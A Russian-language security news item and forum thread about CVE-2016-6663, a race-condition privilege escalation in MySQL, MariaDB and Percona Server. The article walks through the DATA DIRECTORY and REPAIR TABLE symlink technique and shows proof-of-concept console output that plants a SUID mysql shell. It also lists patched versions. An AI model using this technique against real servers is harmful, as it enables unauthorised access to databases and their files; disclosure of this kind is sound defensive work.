Давид Голански (Dawid Golunski) продолжил публикацию исследований безопасности MySQL. В сентябре им были опубликованы (https://www.opennet.me/opennews/art.shtml?num=45127) сведения об уязвимости в сервере MySQL, позволяющей повысить свои привилегии до пользователя root. Техника атаки была ограничена пользователями с правами FILE, но было сказано, что имеется метод обхода данного ограничения и атака может быть совершена любым непривилегированным пользователем СУБД. Спустя месяц Давид раскрыл (http://legalhackers.com/advisories/MySQL-MariaDB-PerconaDB-P...) информацию о новой уязвимости (CVE-2016-6663 (https://security-tracker.debian.org/tracker/CVE-2016-6663)), позволяющей обойти систему ограничения привилегий MySQL.Уязвимость затрагивает MySQL и производные продукты, такие как MariaDB и Percona Server, и позволяет локальному пользователю СУБД с типовыми правами на выполнение операций CREATE, INSERT и SELECT получить полномочия администратора СУБД (обычно пользователь mysql) и возможность записи и чтения любых файлов MySQL, в том числе конфигурационных файлов и БД других пользователей. В сочетании с ранее обнародованной (https://www.opennet.me/opennews/art.shtml?num=45127) уязвимостью CVE-2016-6662, новая проблема упрощает проведение атаки по получению прав root на сервере с MySQL.
Уязвимость основана на использовании состояния гонки с таблицами, размещёнными в подконтрольных пользователю директориях. Пользователь с правами "CREATE table" может через параметр "DATA DIRECTORY" задать путь к каталогу, где будет сохранена создаваемая таблица. В том числе таблицу можно разместить в директории, которая принадлежит пользователю, но файлы будут размещены под пользователем mysql:attacker@debian:~$ ls -ld /tmp/disktable/
drwxrwxrwx 2 attacker attacker 4096 Oct 28 10:53 /tmp/disktable/mysql> CREATE TABLE poctab1 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';
attacker@debian:~$ ls -l /tmp/disktable/
-rw-rw---- 1 mysql mysql 0 Oct 28 10:53 poctab1.MYD
В процессе выполнения команды "REPAIR TABLE", MySQL создаёт в той же директории временный файл, сохраняет параметры исходного файла таблицы, копирует данные и после завершения работы с временным файлом выполняет операции восстановления прав доступа и переименовывает временный файл в основной файл таблицы. Так как владельцем директории является атакующий и он имеет возможность манипулировать файлами, суть атаки сводится к подмене временного файла в промежуток после проверки параметров файла, но до выполнения chmod(). В итоге атакующий может подставить вместо временного файла символическую ссылку, указывающую на директорию /var/lib/mysql. Далее к ссылке на /var/lib/mysql будет применена операция chmod() с сохранёнными параметрами исходного файла таблицы пользователя, т.е. атакующий получит возможность установить произвольные права доступа на директорию /var/lib/mysql, изменив права на исходный файл со своей таблицей, например, установить на файл права 777.
attacker@xenial:~/mysql-exploit$ ./mysql-privesc-race attacker pocsql localhost pocdb[+] Starting the exploit as:
uid=1001(attacker) gid=1001(attacker) groups=1001(attacker)[+] Connecting to the database `pocdb` as attacker@localhost
[+] Creating exploit temp directory /tmp/mysql_privesc_exploit
[+] Creating mysql tables
DROP TABLE IF EXISTS exploit_table
DROP TABLE IF EXISTS mysql_suid_shell
CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/mysql_privesc_exploit'
CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/mysql_privesc_exploit'[+] Copying bash into the mysql_suid_shell table.
After the exploitation the following file/table will be assigned SUID and executable bits :
-rw-rw---- 1 mysql attacker 1037528 Nov 1 02:33 /tmp/mysql_privesc_exploit/mysql_suid_shell.MYD[+] Entering the race loop... Hang in there...
[+] Bingo! Race won (took 5 tries) ! Check out the mysql SUID shell:-rwsrwxrwx 1 mysql attacker 1037528 Nov 1 02:33 /tmp/mysql_privesc_exploit/mysql_suid_shell.MYD
[+] Spawning the mysql SUID shell now...
Remember that from there you can gain root with vuln CVE-2016-6662 or CVE-2016-6664 :)mysql_suid_shell.MYD-4.3$ whoami
mysqlmysql_suid_shell.MYD-4.3$ id
uid=1001(attacker) gid=1001(attacker) euid=107(mysql) groups=1001(attacker)mysql_suid_shell.MYD-4.3$ ls -l /var/lib/mysql/mysql/user.*
-rw-rw---- 1 mysql mysql 2879 Oct 29 14:23 /var/lib/mysql/mysql/user.frm
-rw-rw---- 1 mysql mysql 168 Oct 29 22:35 /var/lib/mysql/mysql/user.MYD
-rw-rw---- 1 mysql mysql 4096 Oct 30 00:11 /var/lib/mysql/mysql/user.MYIУязвимость устранена в выпусках MySQL 5.5.52, 5.6.33 и 5.7.15, а также в MariaDB 5.5.52, 10.1.18 и 10.0.28, в Percona Server
5.5.51-38.2, 5.6.32-78-1 и 5.7.14-8, в Percona XtraDB Cluster 5.6.32-25.17, 5.7.14-26.17 и 5.5.41-37.0. Так как производители были заведомо информированы о проблеме, обновления пакетов уже выпущены для Debian (https://security-tracker.debian.org/tracker/CVE-2016-6663), RHEL (https://bugzilla.redhat.com/show_bug.cgi?id=1378936#c4), Ubuntu (https://people.canonical.com/~ubuntu-security/cve/2016/CVE-2...), FreeBSD (http://www.vuxml.org/freebsd/9bc14850-a070-11e6-a881-b499bae...), Ubuntu (https://www.ubuntu.com/usn/usn-3109-1/) и SUSE (https://www.suse.com/support/update/announcement/2016/suse-s...).URL: http://seclists.org/fulldisclosure/2016/Nov/4
Новость: http://www.opennet.me/opennews/art.shtml?num=45413
Уязвимость красивая. Но для понимания обязательно чтение оригинала, так как в новости переврали практически всё, что относится к механизму.Тем, кто предпочитает держать мускул на отдельном сервере/виртуалке/контейнере, беспокоится не о чем. Уязвимость требует шелла(юзера) на сервере с мускулом.
P.S. про кнопку "исправить" в курсе, но не "маю час та натхнення".
> в новости переврали практически всё, что относится к механизму.Уже не актуально, новость исправили.
>> Уязвимость требует шелла(юзера) на сервере с мускулом...Т.е. на 101% «виртуальных хостингов».
На виртуальных хостингах, в 101% случаев, пользователь имеющий шелл - это владелец, и у него и так есть рут.
На виртуальном хостинге можно запустить скрипт. Который обычно исполнялся действительно под даным юзером, насколько я помню свой довольно древний опыт с шаредами. Другое дело, что там обычно мускул был на другом хосте.
>> пользователь имеющий шелл - это владелец...Шелл при чём????? :)
ISPManager справится с подстановкой файла.
Или phpfm.
И — ХУАЛЯ!!! — вы имеете права мускула, обслуживающего 5000 виртхостов.
Надо хоть маленько представлять о чем говоришь. А то слишком фееричная ахинея.
> Надо хоть маленько представлять о чем говоришь. А то слишком фееричная ахинея.Этот "фкук" здесь в основном набрасывает в пользу либо конкретно некрософта, либо запада в целом (как в теме про росовую морду для криптопро). При этом он не то чтобы полный профан, но разницу я померить не возьмусь...
> Этот "фкук" здесь в основном набрасывает в пользу либо конкретно некрософта, либо
> запада в целом (как в теме про росовую морду для криптопро).Скрепно.
>> Этот "фкук" здесь в основном набрасывает в пользу либо конкретно некрософта,
>> либо запада в целом (как в теме про росовую морду для криптопро).
> Скрепно.Ну давайте свою почту -- перешлю из архива, проверите. Или сами понаблюдайте.
А то теговое мышление быстро обеспечивает туннельное видение, похоже.
Ну да, уязвимость требует шела и не принадлежит к категории "кошмарных".
Но кто за два месяца таки не успел обновить mysql - будут кусать себе локти. И поделом.
С чего кусать локти тем, кто не обновлялся, но у кого мускул на отдельном сервере/виртуалке/контейнере?
> С чего кусать локти тем, кто не обновлялся, но у кого мускул
> на отдельном сервере/виртуалке/контейнере?История показывает, что многие крупные взломы были проведены с использованием цепочки "нефатальных" уязвимостей.
Наглядный пример - DEFCON 18: "How I Met Your Girlfriend" целевой взлом аккаунта Facebook через 9 не фатальных дырок.
Ну это, как получится собрать такой набор нефатальных дырок конкретно для мускула в отдельном контейнере, тогда и можно будет вещать про "кусать локти". А пока это лишь капитанство на тему полезности установки секурных обновлений для любого софта.
История нас учит тому что она нас ничему не учит. В 2016 году такие заявления смотрятся особенно тупо. Благо финансовые документы и приватную переписку крупнейших политиков и бизнесменов сейчас скачать проще чем порно в 2000 году.
Еще раз для альтернативно одаренных. Речь идет о конкретной уязвимости в конкретном софте, а не о космических кораблях, бороздящих просторы большого театра. И данная уязвимость могла и скорее всего была неодноркатно использована против тех, кто вовремя обновлялся, но держал мускул вместе со всем остальным, например сайтами, а вот против тех, кто не обновлялся, но держал мускул в отдельном загоне, ее использовать не было возможности. Так что кусать локти надо первым, а не вторым. В данном конкретном случае дополнительный слой безопасности оказался полезней своевременного обновления.
Отдельно для тех, у кого с логикой кровная вражда, из всего вышенаписанного НЕ следует, что обновляться не надо.
Ну и к чему твой треп?
Держать мускул на отдельной машине - это никак НЕ ПАНАЦЕЯ. Да, это на какой-то процент улучшает безопасность. Но это не значит, что это НЕПРЕМЕННОЕ условие КОШЕРНОГО хостинга.
Ибо сейчас появятся предложения типа каждому юзеру по ВПСке и т.д. - вариантов реализации может быть невообразимое множество.
И что бы ты не возразил, это никак не будет значит, что ты самый предусмотрительный и вумный ;P
А вот и участник крестового похода на логику. В предыдущем посте для таких как ты отдельная приписка. Но все ваши издевательства над логикой фиг предусмотришь. Ок, добавляю, из изложенного в предыдущем посте никак не следует, что песочница для мускула является "НЕПРЕМЕННЫМ условием КОШЕРНОГО хостинга" или что она защищает от всех возможных уязвимостей.
MySQL в 2016 Facepalm
MySQL Joomla и сайт с тремя страничками.
который через 3 месяца будет продавать виагру и цп без ведома владельца.
Серьезно, я даже уже и не знаю что должна делать MySQL, что бы кретины перестали ей пользоваться. Удалять / при установке?
> Серьезно, я даже уже и не знаю что должна делать MySQL, что
> бы кретины перестали ей пользоваться. Удалять / при установке?А сейчас нам один некретин назовет СУБД с девственно чистой историей уязвимостей минимум лет за десять. Ну чтобы мы прониклись и отказались от этого дырявого мускула. А в качестве бонуса некретин расскажет, в чем именно была ошибка, приведщая к данной уязвимости и как надо было делать правильно. В противном случае возникнет логичный вопрос: "а не кретин ли случаем этот некретин?"
SQLite - у них модель разработки основанная на доказательстве корректности выполнения + помешанность на тестах.
Правда работа с этой базой достаточно специфична.
О какой безопасности там вообще может идти речь, если в sqlite просто нет выполнения под другим пользователем, разделения юзеров и привилегий? Там нечего ломать. С тем же успехом можно запустить мускул от пользователя, оставить там только БД пользователя root и тоже сказать о безопасности. При этом в обоих случаях есть возможность переписать произвольный файл пользователя, но не из-за дырок, а используя штатные возможности.
>А сейчас нам один некретин назовет СУБД с девственно чистой историей уязвимостей минимум лет за десять.Именно "девственно чистой"? Именно за 10 лет?. Почему не за 5?
В теории спора это называется "Бабий аргумент".
>Суть его вот в чем. По многим вопросам возможно, мыслимо не одно, не два, а несколько, много решений, несколько предположений и т.д. Некоторые из них противоположны друг другу. По здравому смыслу и по требованиям логики надо учитывать все их. Но софист поступает наоборот. Желая, напр., защитить свое мнение, он выбирает самое крайнее и самое нелепое противоположное из других мыслимых решений вопроса и противопоставляет своему мнению.Вопрос: Что делает мадемуазель на техническом форуме?
> Ну чтобы мы прониклись и отказались от этого дырявого мускула.Что бы перестать пользоваться MySQL не нужно наличие ИДЕАЛЬНОЙ БД, достаточно наличия МЕНЕЕ дырявой.
Я начал составлять список менее дырявых, но туда входят, буквально, все остальные СУБД.
> Я начал составлять список менее дырявых, но туда входят, буквально, все остальные СУБД.Хм... Ну так огласите весь список, с уровнями дырявости для сравнения, с обоснованием значений этих уровней. :)
> Что бы перестать пользоваться MySQL не нужно наличие ИДЕАЛЬНОЙ БД, достаточно наличия
> МЕНЕЕ дырявой.Правда? Ну тогда воспользуйся своей идиотской логикой и начни с выкидывания linux, в нем дыр куда больше, чем в openbsd или qnx. Зачем ты им пользуешься? ОС не считается? Ну пройдись этим дурацким принципом по всему остальному софту, например выкинь на свалку postfix, exim и все остальные MTA, так как в них дыр больше, чем в голом qmail.
Успокойтесь, тише тише.
Я вообще не рекомендую пользоваться дырявым софтом.
Но вам можно.
> я даже уже и не знаю что должна делать MySQL, что бы кретины перестали ей пользоваться.Уже перестали. Ты ж не пользуешся? ты последний из них пользовалься.
> Уже перестали. Ты ж не пользуешся? ты последний из них пользовался.Я, кстати, никогда не пользовался MySQL. Я считаю, что если что то выглядит как фекалии, пахнет как фекалии, то это фекалии и есть, пробовать на вкус не обязательно.
А смердит MySQL приотвратно, скажу я вам.
>> Уже перестали. Ты ж не пользуешся? ты последний из них пользовался.
> Я считаю, что если что то
> выглядит как фекалии, пахнет как фекалии, то это фекалии и есть,
> пробовать на вкус не обязательно.И кто же тебя нюхает, малыш?
Да он уныл и печален, однако у него есть хитрые юзкейсы, где он опережает в производительности. Представьте, что у вас есть процесс, который открыл одно соединение и шарашит туда сотни инсертов в секунду. И вот есть другой процесс который оттуда изредка, раз в 30 минут, делает объемные селекты с left join по соседним не менее усраным табличкам. Как говорится, для идиотской задачи нужен идиотский инструмент. Вот тут-то и приходит на выручку mysql c myisam, или чуть чуть удобнее, mariadb + aria, если таблички сделаны как-то так: CREATE TABLE LOL ... ROW_FORMAT=PAGE TRANSACTIONAL=0 PAGE_CHECKSUM=0;Как раз отсутствие транзакционности в некоторых движках и ориентированность на тупой поток инсертов делает его хоть чем-то интересным. На адекватных задачах мускулями лучше не пользоваться, конечно же.
> На адекватных задачах мускулями лучше не пользоваться, конечно же.Кстати, на нашу осеннюю конференцию не добрались коллеги из Postgres Pro, но приехал человек и рассказал про MySQL довольно неожиданные случаи (по крайней мере для меня): http://0x1.tv/201610012
Контакт, если что, там же на страничке категории имени его -- "я только разместил объяву" (ц) ;-)
> MySQL в 2016 Facepalmа вас не смущает, что "Уязвимость затрагивает MySQL и производные продукты, такие как MariaDB и Percona Server" ? Или вы сейчас нам скажите, что sqlite/nosql наше все? :D